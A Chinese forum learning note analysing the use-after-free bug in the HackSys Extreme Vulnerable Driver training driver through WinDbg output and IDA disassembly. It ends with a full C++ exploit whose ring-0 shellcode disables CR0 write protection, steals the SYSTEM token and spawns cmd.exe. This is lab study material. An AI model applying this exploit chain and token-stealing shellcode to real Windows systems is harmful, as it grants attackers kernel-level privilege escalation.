其他
HEVD学习笔记——UAF
本文为看雪论坛优秀文章
看雪论坛作者ID:1900
一
介绍
二
驱动信息
1、WinDbg
SXS.DLL: Read 0 bytes from XML stream; HRESULT returned = 0x00000000
SXS.DLL: Creating 756 byte file mapping
## ## ######## ## ## ########
## ## ## ## ## ## ##
## ## ## ## ## ## ##
######### ###### ## ## ## ##
## ## ## ## ## ## ##
## ## ## ## ## ## ##
## ## ######## ### ########
HackSys Extreme Vulnerable Driver
Version: 3.00
[+] HackSys Extreme Vulnerable Driver Loaded
2: kd> lm m HEVD
start end module name
98c78000 98cc2000 HEVD (deferred)
2: kd> !drvobj HEVD 2
Driver object (87d68b90) is for:
*** ERROR: Module load completed but symbols could not be loaded for HEVD.sys
\Driver\HEVD
DriverEntry: 98cc00ea HEVD
DriverStartIo: 00000000
DriverUnload: 98cbc000 HEVD
AddDevice: 00000000
Dispatch routines:
[00] IRP_MJ_CREATE 98cbc048 HEVD+0x44048
[01] IRP_MJ_CREATE_NAMED_PIPE 98cbc5c2 HEVD+0x445c2
[02] IRP_MJ_CLOSE 98cbc048 HEVD+0x44048
[03] IRP_MJ_READ 98cbc5c2 HEVD+0x445c2
[04] IRP_MJ_WRITE 98cbc5c2 HEVD+0x445c2
[05] IRP_MJ_QUERY_INFORMATION 98cbc5c2 HEVD+0x445c2
[06] IRP_MJ_SET_INFORMATION 98cbc5c2 HEVD+0x445c2
[07] IRP_MJ_QUERY_EA 98cbc5c2 HEVD+0x445c2
[08] IRP_MJ_SET_EA 98cbc5c2 HEVD+0x445c2
[09] IRP_MJ_FLUSH_BUFFERS 98cbc5c2 HEVD+0x445c2
[0a] IRP_MJ_QUERY_VOLUME_INFORMATION 98cbc5c2 HEVD+0x445c2
[0b] IRP_MJ_SET_VOLUME_INFORMATION 98cbc5c2 HEVD+0x445c2
[0c] IRP_MJ_DIRECTORY_CONTROL 98cbc5c2 HEVD+0x445c2
[0d] IRP_MJ_FILE_SYSTEM_CONTROL 98cbc5c2 HEVD+0x445c2
[0e] IRP_MJ_DEVICE_CONTROL 98cbc064 HEVD+0x44064
[0f] IRP_MJ_INTERNAL_DEVICE_CONTROL 98cbc5c2 HEVD+0x445c2
[10] IRP_MJ_SHUTDOWN 98cbc5c2 HEVD+0x445c2
[11] IRP_MJ_LOCK_CONTROL 98cbc5c2 HEVD+0x445c2
[12] IRP_MJ_CLEANUP 98cbc5c2 HEVD+0x445c2
[13] IRP_MJ_CREATE_MAILSLOT 98cbc5c2 HEVD+0x445c2
[14] IRP_MJ_QUERY_SECURITY 98cbc5c2 HEVD+0x445c2
[15] IRP_MJ_SET_SECURITY 98cbc5c2 HEVD+0x445c2
[16] IRP_MJ_POWER 98cbc5c2 HEVD+0x445c2
[17] IRP_MJ_SYSTEM_CONTROL 98cbc5c2 HEVD+0x445c2
[18] IRP_MJ_DEVICE_CHANGE 98cbc5c2 HEVD+0x445c2
[19] IRP_MJ_QUERY_QUOTA 98cbc5c2 HEVD+0x445c2
[1a] IRP_MJ_SET_QUOTA 98cbc5c2 HEVD+0x445c2
[1b] IRP_MJ_PNP 98cbc5c2 HEVD+0x445c2
2、IDA Pro
INIT:00448036 push eax ; DeviceObject
INIT:00448037 push edi ; Exclusive
INIT:00448038 push FILE_DEVICE_SECURE_OPEN ; DeviceCharacteristics
INIT:0044803D push FILE_DEVICE_UNKNOWN ; DeviceType
INIT:0044803F lea eax, [ebp+DestinationString]
INIT:00448042 push eax ; DeviceName
INIT:00448043 push edi ; DeviceExtensionSize
INIT:00448044 push ebx ; DriverObject
INIT:00448045 call ds:IoCreateDevice
INIT:00448075 push 1Ch
INIT:00448077 pop ecx
INIT:00448078 mov eax, offset DispatchCommon
INIT:0044807D lea edi, [ebx+DRIVER_OBJECT.MajorFunction]
INIT:00448080 rep stosd
INIT:00448082 mov eax, offset DispatchCreateAndClose
INIT:00448087 mov dword ptr [ebx+70h], offset DispatchIoCtrl
INIT:0044808E mov [ebx+38h], eax
INIT:00448091 mov [ebx+40h], eax
INIT:00448094 mov eax, [ebp+DeviceObject]
INIT:00448097 mov [ebx+_DRIVER_OBJECT.DriverUnload], offset DriverUnload
INIT:0044809E or [eax+DEVICE_OBJECT.Flags], DO_DIRECT_IO
INIT:004480A2 mov eax, [ebp+DeviceObject]
INIT:004480A5 and [eax+DEVICE_OBJECT.Flags], 0FFFFFF7Fh
INIT:004480AC lea eax, [ebp+DestinationString]
INIT:004480AF push eax ; DeviceName
INIT:004480B0 lea eax, [ebp+SymbolicLinkName]
INIT:004480B3 push eax ; SymbolicLinkName
INIT:004480B4 call ds:IoCreateSymbolicLink
INIT:00448134 aDeviceHacksyse: ; DATA XREF: DriverEntry(x,x)+14↑o
INIT:00448134 text "UTF-16LE", '\Device\HackSysExtremeVulnerableDriver',0
INIT:00448182 ; const WCHAR aDosdevicesHack_0
INIT:00448182 aDosdevicesHack_0: ; DATA XREF: DriverEntry(x,x)+25↑o
INIT:00448182 text "UTF-16LE", '\DosDevices\HackSysExtremeVulnerableDriver',0
PAGE:00444064 ; int __stdcall DispatchIoCtrl(int, PIRP Irp)
PAGE:00444064 DispatchIoCtrl proc near ; DATA XREF: DriverEntry(x,x)+87↓o
PAGE:00444064
PAGE:00444064 Irp = dword ptr 0Ch
PAGE:00444064
PAGE:00444064 push ebp
PAGE:00444065 mov ebp, esp
PAGE:00444067 push ebx
PAGE:00444068 push esi
PAGE:00444069 push edi
PAGE:0044406A mov edi, [ebp+Irp]
PAGE:0044406D mov ebx, STATUS_NOT_SUPPORTED
PAGE:00444072 mov eax, [edi+60h] ; 取出CurrentStackLocation指针赋给eax
PAGE:00444075 test eax, eax
PAGE:00444077 jz loc_4444C5
PAGE:0044407D mov ebx, eax
PAGE:0044407F mov ecx, [ebx+IO_STACK_LOCATION.Parameters.DeviceIoControl.IoControlCode]
PAGE:00444082 lea eax, [ecx-222003h] ; switch 109 cases
PAGE:00444088 cmp eax, 6Ch
PAGE:0044408B ja loc_4444AD ; jumptable 00444098 default case
PAGE:00444091 movzx eax, ds:Index_Table[eax]
PAGE:00444098 jmp ds:Func_Table[eax*4] ; switch jump
PAGE:004444E0 Func_Table dd offset loc_44409F, offset loc_4440CF, offset loc_4440F1
PAGE:004444E0 ; DATA XREF: DispatchIoCtrl+34↑r
PAGE:004444E0 dd offset loc_444113, offset loc_444135, offset loc_44415A ; jump table for switch statement
PAGE:004444E0 dd offset loc_44417F, offset loc_4441A4, offset loc_4441C9
PAGE:004444E0 dd offset loc_4441EE, offset loc_444213, offset loc_444238
PAGE:004444E0 dd offset loc_44425D, offset loc_444282, offset loc_4442A7
PAGE:004444E0 dd offset loc_4442CC, offset loc_4442F1, offset loc_444316
PAGE:004444E0 dd offset loc_44433B, offset loc_444360, offset loc_444385
PAGE:004444E0 dd offset loc_4443AA, offset loc_4443CF, offset loc_4443F4
PAGE:004444E0 dd offset loc_444419, offset loc_44443E, offset loc_444463
PAGE:004444E0 dd offset loc_444488, offset loc_4444AD
PAGE:00444554 Index_Table db 0, 1Ch, 1Ch, 1Ch
PAGE:00444554 ; DATA XREF: DispatchIoCtrl+2D↑r
PAGE:00444554 db 1, 1Ch, 1Ch, 1Ch ; indirect table for switch statement
PAGE:00444554 db 2, 1Ch, 1Ch, 1Ch
PAGE:00444554 db 3, 1Ch, 1Ch, 1Ch
PAGE:00444554 db 4, 1Ch, 1Ch, 1Ch
PAGE:00444554 db 5, 1Ch, 1Ch, 1Ch
PAGE:00444554 db 6, 1Ch, 1Ch, 1Ch
PAGE:00444554 db 7, 1Ch, 1Ch, 1Ch
PAGE:00444554 db 8, 1Ch, 1Ch, 1Ch
PAGE:00444554 db 9, 1Ch, 1Ch, 1Ch
PAGE:00444554 db 0Ah, 1Ch, 1Ch, 1Ch
PAGE:00444554 db 0Bh, 1Ch, 1Ch, 1Ch
PAGE:00444554 db 0Ch, 1Ch, 1Ch, 1Ch
PAGE:00444554 db 0Dh, 1Ch, 1Ch, 1Ch
PAGE:00444554 db 0Eh, 1Ch, 1Ch, 1Ch
PAGE:00444554 db 0Fh, 1Ch, 1Ch, 1Ch
PAGE:00444554 db 10h, 1Ch, 1Ch, 1Ch
PAGE:00444554 db 11h, 1Ch, 1Ch, 1Ch
PAGE:00444554 db 12h, 1Ch, 1Ch, 1Ch
PAGE:00444554 db 13h, 1Ch, 1Ch, 1Ch
PAGE:00444554 db 14h, 1Ch, 1Ch, 1Ch
PAGE:00444554 db 15h, 1Ch, 1Ch, 1Ch
PAGE:00444554 db 16h, 1Ch, 1Ch, 1Ch
PAGE:00444554 db 17h, 1Ch, 1Ch, 1Ch
PAGE:00444554 db 18h, 1Ch, 1Ch, 1Ch
PAGE:00444554 db 19h, 1Ch, 1Ch, 1Ch
PAGE:00444554 db 1Ah, 1Ch, 1Ch, 1Ch
PAGE:00444554 db 1Bh
PAGE:004445C1 align 2
PAGE:004444AD loc_4444AD: ; CODE XREF: DispatchIoCtrl+27↑j
PAGE:004444AD ; DispatchIoCtrl+34↑j
PAGE:004444AD ; DATA XREF: ...
PAGE:004444AD push ecx ; jumptable 00444098 default case
PAGE:004444AE push offset aInvalidIoctlCo ; "[-] Invalid IOCTL Code: 0x%X\n"
PAGE:004444B3 push 3 ; Level
PAGE:004444B5 push DPFLTR_IHVDRIVER_ID ; ComponentId
PAGE:004444B7 call ds:DbgPrintEx
PAGE:004444BD add esp, 10h
PAGE:004444C0 mov ebx, STATUS_INVALID_DEVICE_REQUEST
PAGE:004444C5
PAGE:004444C5 loc_4444C5: ; CODE XREF: DispatchIoCtrl+13↑j
PAGE:004444C5 ; DispatchIoCtrl+66↑j
PAGE:004444C5 and [edi+_IRP.IoStatus.Information], 0
PAGE:004444C9 xor dl, dl ; PriorityBoost
PAGE:004444CB mov ecx, edi ; Irp
PAGE:004444CD mov [edi+_IRP.IoStatus.anonymous_0.Status], ebx
PAGE:004444D0 call ds:IofCompleteRequest
PAGE:004444D6 pop edi
PAGE:004444D7 pop esi
PAGE:004444D8 mov eax, ebx
PAGE:004444DA pop ebx
PAGE:004444DB pop ebp
PAGE:004444DC retn 8
PAGE:004444DC DispatchIoCtrl endp
三
漏洞原理
#include <windows.h>
#include <cstdio>
int main(int argc, char **argv)
{
char *buf1;
char *buf2;
buf1 = (char *)malloc(0x100); // 为buf1申请一段堆内存
printf("buf1: 0x%p\n", buf1);
free(buf1); // 将这段内存释放掉,但是buf1并没有赋值为NULL
buf2 = (char *)malloc(0x100); // 为buf2申请同样大的堆内存,这时候之前buf1申请然后释放掉的堆内存就会给buf2
printf("buf2: 0x%p\n", buf2);
memset(buf2, 0, 0x100);
printf("buf2: %s\n", buf2); // 将这段内存初始化以后输出
// 由于这段堆内存被buf2重新申请,它将会有效,此时堆buf1的操作也会有效
// 又因为它们两个指向同一块堆内存,所以对buf1的操作也会影响到buf2
printf("======Use After Free======\n");
strncpy(buf1, "Hello 1900", strlen("hello 1900"));
printf("buf2: %s\n", buf2);
return 0;
}
所以要利用UAF漏洞,需要以下的几个步骤:
四
漏洞分析
1、AllocateUAFObjectNonPagedPoolIoCtrlHandler:用来申请一块内存
2、UseUAFObjectNonPagedPoolIoCtrlHandler:对申请的内存的使用
3、FreeUAFObjectNonPagedPoolIoCtrlHandler:释放申请的内存
4、AllocateFakeObjectNonPagedPoolIoCtrlHandler:申请和第一步同样大小的内存并对其进行修改
1、AllocateUAFObjectNonPagedPoolIoCtrlHandler
该函数是函数地址表中的第5个函数,所以对应的IOCTL为0x222003 + 4 * 4。
PAGE:00444135 loc_444135: ; CODE XREF: DispatchIoCtrl+34↑j
PAGE:00444135 ; DATA XREF: PAGE:Func_Table↓o
PAGE:00444135 mov esi, ds:DbgPrintEx ; jumptable 00444098 case 2236435
PAGE:0044413B push offset aHevdIoctlAlloc ; "****** HEVD_IOCTL_ALLOCATE_UAF_OBJECT_N"...
PAGE:00444140 push 3 ; Level
PAGE:00444142 push 4Dh ; ComponentId
PAGE:00444144 call esi ; DbgPrintEx
PAGE:00444146 add esp, 0Ch
PAGE:00444149 push ebx ; 将CurrentStackLocation指针入栈
PAGE:0044414A push edi ; 将IRP的指针入栈
PAGE:0044414B call AllocateUAFObjectNonPagedPoolIoCtrlHandler
PAGE:00444150 push offset aHevdIoctlAlloc ; "****** HEVD_IOCTL_ALLOCATE_UAF_OBJECT_N"...
PAGE:00444155 jmp loc_4440BF
PAGE:0044635A AllocateUAFObjectNonPagedPoolIoCtrlHandler proc near
PAGE:0044635A ; CODE XREF: DispatchIoCtrl+E7↑p
PAGE:0044635A call AllocateUAFObjectNonePagedPool
PAGE:0044635F retn 8
PAGE:0044635F AllocateUAFObjectNonPagedPoolIoCtrlHandler endp
PAGE:00446236 AllocateUAFObjectNonePagedPool proc near
PAGE:00446236 ; CODE XREF: AllocateUAFObjectNonPagedPoolIoCtrlHandler↓p
PAGE:00446236
PAGE:00446236 var_1C = dword ptr -1Ch
PAGE:00446236 ms_exc = CPPEH_RECORD ptr -18h
PAGE:00446236
PAGE:00446236 push 0Ch
PAGE:00446238 push offset stru_402580
PAGE:0044623D call __SEH_prolog4
PAGE:00446242 mov edi, STATUS_UNSUCCESSFUL
PAGE:00446247 and dword ptr [ebp-4], 0
PAGE:0044624B push offset aAllocatingUafO ; "[+] Allocating UaF Object\n"
PAGE:00446250 push 3 ; Level
PAGE:00446252 push 4Dh ; ComponentId
PAGE:00446254 mov esi, ds:DbgPrintEx
PAGE:0044625A call esi ; DbgPrintEx
PAGE:0044625C add esp, 0Ch
PAGE:0044625F push 'kcaH' ; Tag
PAGE:00446264 push 58h ; NumberOfBytes
PAGE:00446266 push NonPagedPool ; PoolType
PAGE:00446268 call ds:ExAllocatePoolWithTag
PAGE:0044626E mov ebx, eax ; 将申请到的内存的地址赋给ebx
PAGE:00446270 test ebx, ebx
PAGE:00446272 jnz short loc_446291
PAGE:00446236 AllocateUAFObjectNonePagedPool proc near
PAGE:00446236 ; CODE XREF: AllocateUAFObjectNonPagedPoolIoCtrlHandler↓p
PAGE:00446236
PAGE:00446236 var_1C = dword ptr -1Ch
PAGE:00446236 ms_exc = CPPEH_RECORD ptr -18h
PAGE:00446236
PAGE:00446236 push 0Ch
PAGE:00446238 push offset stru_402580
PAGE:0044623D call __SEH_prolog4
PAGE:00446242 mov edi, STATUS_UNSUCCESSFUL
PAGE:00446247 and dword ptr [ebp-4], 0
PAGE:0044624B push offset aAllocatingUafO ; "[+] Allocating UaF Object\n"
PAGE:00446250 push 3 ; Level
PAGE:00446252 push 4Dh ; ComponentId
PAGE:00446254 mov esi, ds:DbgPrintEx
PAGE:0044625A call esi ; DbgPrintEx
PAGE:0044625C add esp, 0Ch
PAGE:0044625F push 'kcaH' ; Tag
PAGE:00446264 push 58h ; NumberOfBytes
PAGE:00446266 push NonPagedPool ; PoolType
PAGE:00446268 call ds:ExAllocatePoolWithTag
PAGE:0044626E mov ebx, eax ; 将申请到的内存的地址赋给ebx
PAGE:00446270 test ebx, ebx
PAGE:00446272 jnz short loc_446291
PAGE:00446418 UAFObjectCallbackNonPagedPool proc near ; DATA XREF: AllocateUAFObjectNonePagedPool+A8↑o
PAGE:00446418 push offset aUseafterFreeOb ; "[+] UseAfter Free Object Callback NonPa"...
PAGE:0044641D push 3 ; Level
PAGE:0044641F push 4Dh ; ComponentId
PAGE:00446421 call ds:DbgPrintEx
PAGE:00446427 add esp, 0Ch
PAGE:0044642A retn
PAGE:0044642A UAFObjectCallbackNonPagedPool endp
2、UseUAFObjectNonPagedPoolIoCtrlHandler
PAGE:0044415A loc_44415A: ; CODE XREF: DispatchIoCtrl+34↑j
PAGE:0044415A ; DATA XREF: PAGE:Func_Table↓o
PAGE:0044415A mov esi, ds:DbgPrintEx ; jumptable 00444098 case 2236439
PAGE:00444160 push offset aHevdIoctlUseUa ; "****** HEVD_IOCTL_USE_UAF_OBJECT_NON_PA"...
PAGE:00444165 push 3 ; Level
PAGE:00444167 push 4Dh ; ComponentId
PAGE:00444169 call esi ; DbgPrintEx
PAGE:0044416B add esp, 0Ch
PAGE:0044416E push ebx
PAGE:0044416F push edi
PAGE:00444170 call UseUAFObjectNonPagedPoolIoCtrlHandler
PAGE:00444175 push offset aHevdIoctlUseUa ; "****** HEVD_IOCTL_USE_UAF_OBJECT_NON_PA"...
PAGE:0044417A jmp loc_4440BF
================================================================================================
PAGE:004464E8 UseUAFObjectNonPagedPoolIoCtrlHandler proc near
PAGE:004464E8 ; CODE XREF: DispatchIoCtrl+10C↑p
PAGE:004464E8 call UseUAFObjectNonPagedPool
PAGE:004464ED retn 8
PAGE:004464ED UseUAFObjectNonPagedPoolIoCtrlHandler endp
PAGE:00446441 cmp g_UserAfterFreeObjectNonPagedPool, 0 ; 判断全局变量中是否保存了地址
PAGE:00446448 jz loc_4464CE
PAGE:00446495 mov eax, [eax] ; 取出函数地址
PAGE:00446497 test eax, eax ; 函数地址是否有效
PAGE:00446499 jz short loc_44649D
PAGE:0044649B call eax ; 对函数进行调用
3、FreeUAFObjectNonPagedPoolIoCtrlHandler
PAGE:0044417F loc_44417F: ; CODE XREF: DispatchIoCtrl+34↑j
PAGE:0044417F ; DATA XREF: PAGE:Func_Table↓o
PAGE:0044417F mov esi, ds:DbgPrintEx ; jumptable 00444098 case 2236443
PAGE:00444185 push offset aHevdIoctlFreeU ; "****** HEVD_IOCTL_FREE_UAF_OBJECT_NON_P"...
PAGE:0044418A push 3 ; Level
PAGE:0044418C push 4Dh ; ComponentId
PAGE:0044418E call esi ; DbgPrintEx
PAGE:00444190 add esp, 0Ch
PAGE:00444193 push ebx
PAGE:00444194 push edi
PAGE:00444195 call FreeUAFObjectNonPagedPoolIoCtrlHandler
PAGE:0044419A push offset aHevdIoctlFreeU ; "****** HEVD_IOCTL_FREE_UAF_OBJECT_NON_P"...
PAGE:0044419F jmp loc_4440BF
======================================================================================
PAGE:00446410 FreeUAFObjectNonPagedPoolIoCtrlHandler proc near
PAGE:00446410 ; CODE XREF: DispatchIoCtrl+131↑p
PAGE:00446410 call FreeUAFObjectNonPagedPool
PAGE:00446415 retn 8
PAGE:00446415 FreeUAFObjectNonPagedPoolIoCtrlHandler endp
PAGE:00446377 cmp g_UseAfterFreeObjectNonPagedPool, 0
PAGE:0044637E jz short loc_4463F7
PAGE:004463B5 push 'kcaH' ; Tag
PAGE:004463BA push g_UseAfterFreeObjectNonPagedPool ; P
PAGE:004463C0 call ds:ExFreePoolWithTag
4、AllocateFakeObjectNonPagedPoolIoCtrlHandler
PAGE:004441A4 loc_4441A4: ; CODE XREF: DispatchIoCtrl+34↑j
PAGE:004441A4 ; DATA XREF: PAGE:Func_Table↓o
PAGE:004441A4 mov esi, ds:DbgPrintEx ; jumptable 00444098 case 2236447
PAGE:004441AA push offset aHevdIoctlAlloc_0 ; "****** HEVD_IOCTL_ALLOCATE_FAKE_OBJECT_"...
PAGE:004441AF push 3 ; Level
PAGE:004441B1 push 4Dh ; ComponentId
PAGE:004441B3 call esi ; DbgPrintEx
PAGE:004441B5 add esp, 0Ch
PAGE:004441B8 push ebx ; 将CurrentStackLocation指针入栈
PAGE:004441B9 push edi ; 将IRP的指针入栈
PAGE:004441BA call AllocateFakeObjectNonPagedPoolIoCtlHandler
PAGE:004441BF push offset aHevdIoctlAlloc_0 ; "****** HEVD_IOCTL_ALLOCATE_FAKE_OBJECT_"...
PAGE:004441C4 jmp loc_4440BF
PAGE:004441A4 loc_4441A4: ; CODE XREF: DispatchIoCtrl+34↑j
PAGE:004441A4 ; DATA XREF: PAGE:Func_Table↓o
PAGE:004441A4 mov esi, ds:DbgPrintEx ; jumptable 00444098 case 2236447
PAGE:004441AA push offset aHevdIoctlAlloc_0 ; "****** HEVD_IOCTL_ALLOCATE_FAKE_OBJECT_"...
PAGE:004441AF push 3 ; Level
PAGE:004441B1 push 4Dh ; ComponentId
PAGE:004441B3 call esi ; DbgPrintEx
PAGE:004441B5 add esp, 0Ch
PAGE:004441B8 push ebx ; 将CurrentStackLocation指针入栈
PAGE:004441B9 push edi ; 将IRP的指针入栈
PAGE:004441BA call AllocateFakeObjectNonPagedPoolIoCtlHandler
PAGE:004441BF push offset aHevdIoctlAlloc_0 ; "****** HEVD_IOCTL_ALLOCATE_FAKE_OBJECT_"...
PAGE:004441C4 jmp loc_4440BF
PAGE:0044611C ; int __stdcall AllocateFakeObjectNonPagedPool(void *)
PAGE:0044611C AllocateFakeObjectNonPagedPool proc near
PAGE:0044611C ; CODE XREF: AllocateFakeObjectNonPagedPoolIoCtlHandler+13↓p
PAGE:0044611C
PAGE:0044611C var_20 = dword ptr -20h
PAGE:0044611C var_AllocateMemory= dword ptr -1Ch
PAGE:0044611C ms_exc = CPPEH_RECORD ptr -18h
PAGE:0044611C arg_InputBuffer = dword ptr 8
PAGE:0044611C
PAGE:0044611C push 10h
PAGE:0044611E push offset stru_4025A0
PAGE:00446123 call __SEH_prolog4
PAGE:00446128 xor ebx, ebx
PAGE:0044612A mov [ebp+ms_exc.registration.TryLevel], ebx
PAGE:0044612D push offset aCreatingFakeOb ; "[+] Creating Fake Object\n"
PAGE:00446132 push 3 ; Level
PAGE:00446134 push 4Dh ; ComponentId
PAGE:00446136 mov esi, ds:DbgPrintEx
PAGE:0044613C call esi ; DbgPrintEx
PAGE:0044613E add esp, 0Ch
PAGE:00446141 push 'kcaH' ; Tag
PAGE:00446146 push 58h ; NumberOfBytes
PAGE:00446148 push ebx ; PoolType
PAGE:00446149 call ds:ExAllocatePoolWithTag
PAGE:0044614F mov edi, eax ; 将申请到的地址赋给edi
PAGE:00446151 mov [ebp+var_AllocateMemory], edi ; 将地址赋给局部变量
PAGE:00446154 test edi, edi ; 申请到的内存是否成功
PAGE:00446156 jnz short loc_446177
PAGE:00446158 push offset aUnableToAlloca_1 ; "[-] Unable to allocate Pool chunk\n"
PAGE:0044615D push 3 ; Level
PAGE:0044615F push 4Dh ; ComponentId
PAGE:00446161 call esi ; DbgPrintEx
PAGE:00446163 add esp, 0Ch
PAGE:00446166 mov [ebp+ms_exc.registration.TryLevel], 0FFFFFFFEh
PAGE:0044616D mov eax, STATUS_NO_MEMORY
PAGE:00446172 jmp loc_446204
PAGE:004461B3 push 1 ; Alignment
PAGE:004461B5 push 58h ; Length
PAGE:004461B7 mov esi, [ebp+arg_InputBuffer] ; 将输入缓冲区的地址取出赋给esi
PAGE:004461BA push esi ; Address
PAGE:004461BB call ds:ProbeForRead
PAGE:004461C1 push 16h
PAGE:004461C3 pop ecx
PAGE:004461C4 rep movsd
PAGE:004461C6 mov eax, [ebp+var_AllocateMemory]
PAGE:004461C9 mov [eax+57h], bl ; 将内存最后一个字节赋值为0
五
漏洞利用
// exploit.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。
//
#include <cstdio>
#include <cstdlib>
#include <windows.h>
#include "ntapi.h"
#pragma comment(linker, "/defaultlib:ntdll.lib")
#define LINK_NAME "\\\\.\\HackSysExtremeVulnerableDriver"
void ShowError(PCHAR msg, DWORD ErrorCode);
NTSTATUS Ring0ShellCode(ULONG InformationClass, ULONG BufferSize, PVOID Buffer, PULONG ReturnedLength);
BOOL g_bIsExecute = FALSE;
int main()
{
NTSTATUS status = STATUS_SUCCESS;
HANDLE hDevice = NULL;
DWORD dwReturnLength = 0;
STARTUPINFO si = { 0 };
PROCESS_INFORMATION pi = { 0 };
CONST DWORD dwAllocateIoCtl = 0x222003 + 4 * 4;
CONST DWORD dwUseIoCtl = 0x222003 + 5 * 4;
CONST DWORD dwFreeIoCtl = 0x222003 + 6 * 4;
CONST DWORD dwFakeIoCtl = 0x222003 + 7 * 4;
// 打开驱动设备
hDevice = CreateFile(LINK_NAME,
GENERIC_READ | GENERIC_WRITE,
0,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
0);
if (hDevice == INVALID_HANDLE_VALUE)
{
ShowError("CreateFile", GetLastError());
goto exit;
}
// 与驱动设备进行交互,分配0x58大小的内存
DeviceIoControl(hDevice,
dwAllocateIoCtl,
NULL,
0,
NULL,
0,
&dwReturnLength,
NULL);
// 与驱动设备进行交互,正常操作时候对函数的调用
DeviceIoControl(hDevice,
dwUseIoCtl,
NULL,
0,
NULL,
0,
&dwReturnLength,
NULL);
// 与驱动设备进行交互,将申请的内存块释放
DeviceIoControl(hDevice,
dwFreeIoCtl,
NULL,
0,
NULL,
0,
&dwReturnLength,
NULL);
char szInput[0x58] = { 0 };
*(PDWORD)szInput = (DWORD)Ring0ShellCode;
// 与驱动设备进行交互,对函数地址进行覆盖
if (!DeviceIoControl(hDevice,
dwFakeIoCtl,
szInput,
0x58,
NULL,
0,
&dwReturnLength,
NULL))
{
ShowError("DeviceIoControl", GetLastError());
goto exit;
}
// 与驱动设备进行交互,再次对函数进行调用
DeviceIoControl(hDevice,
dwUseIoCtl,
NULL,
0,
NULL,
0,
&dwReturnLength,
NULL);
if (g_bIsExecute)
{
printf("Ring0 代码执行完成\n");
}
si.cb = sizeof(si);
if (!CreateProcess(TEXT("C:\\Windows\\System32\\cmd.exe"),
NULL,
NULL,
NULL,
FALSE,
CREATE_NEW_CONSOLE,
NULL,
NULL,
&si,
&pi))
{
printf("CreateProcess Error\n");
goto exit;
}
exit:
if (hDevice) NtClose(hDevice);
system("pause");
return 0;
}
void ShowError(PCHAR msg, DWORD ErrorCode)
{
printf("%s Error 0x%X\n", msg, ErrorCode);
}
NTSTATUS Ring0ShellCode(ULONG InformationClass, ULONG BufferSize, PVOID Buffer, PULONG ReturnedLength)
{
// 关闭页保护
__asm
{
cli
mov eax, cr0
and eax, ~0x10000
mov cr0, eax
}
__asm
{
// 取当前线程
mov eax, fs:[0x124]
// 取线程对应的EPROCESS
mov esi, [eax + 0x150]
mov eax, esi
searchWin7:
mov eax, [eax + 0xB8]
sub eax, 0x0B8
mov edx, [eax + 0xB4]
cmp edx, 0x4
jne searchWin7
mov eax, [eax + 0xF8]
mov [esi + 0xF8], eax
}
// 开起页保护
__asm
{
mov eax, cr0
or eax, 0x10000
mov cr0, eax
sti
}
g_bIsExecute = TRUE;
}
参考资料:《漏洞战争》
看雪ID:1900
https://bbs.pediy.com/user-home-835440.htm
# 往期推荐
3.通过ObRegisterCallbacks学习对象监控与反对象监控
球分享
球点赞
球在看
点击“阅读原文”,了解更多!